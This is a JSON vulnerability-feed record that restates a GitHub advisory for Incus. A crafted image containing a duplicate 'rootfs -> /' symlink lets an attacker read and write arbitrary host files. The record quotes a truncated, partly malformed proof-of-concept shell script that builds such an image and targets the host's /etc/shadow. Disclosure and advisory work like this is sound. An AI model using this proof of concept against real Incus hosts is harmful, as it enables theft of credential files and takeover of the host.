{"items":[{"id":"NVI-00017535","kind":"vulnerability","title":"Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-2q3f-q5pq-g8wv","CVE-2026-48749"],"plain_summary":"GitHub lists this reviewed advisory for github.com/lxc/incus/v7/cmd/incusd. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-161ff6ec691745010e1e7ba72011b2bc"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-26T18:31:23.000Z","value":"9.9 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-161ff6ec691745010e1e7ba72011b2bc"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-161ff6ec691745010e1e7ba72011b2bc","url":"https://github.com/advisories/GHSA-2q3f-q5pq-g8wv","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-2q3f-q5pq-g8wv","publisher":"GitHub Advisory Database","observed_at":"2026-11-05T19:05:53.922Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-161ff6ec691745010e1e7ba72011b2bc"],"technology":"github.com/lxc/incus/v7/cmd/incusd","known_exclusions":[],"conditions_summary":"### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s ","public_affected_ranges":["< 7.2.0"]}],"null_published_at":"2026-11-05T19:10:21.406Z","source_updated_at":"2026-06-26T18:31:23.000Z","source_disclosed_at":"2026-06-26T18:31:21.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-05T19:05:53.922Z"}],"next_cursor":null,"snapshot_revision":"42594"}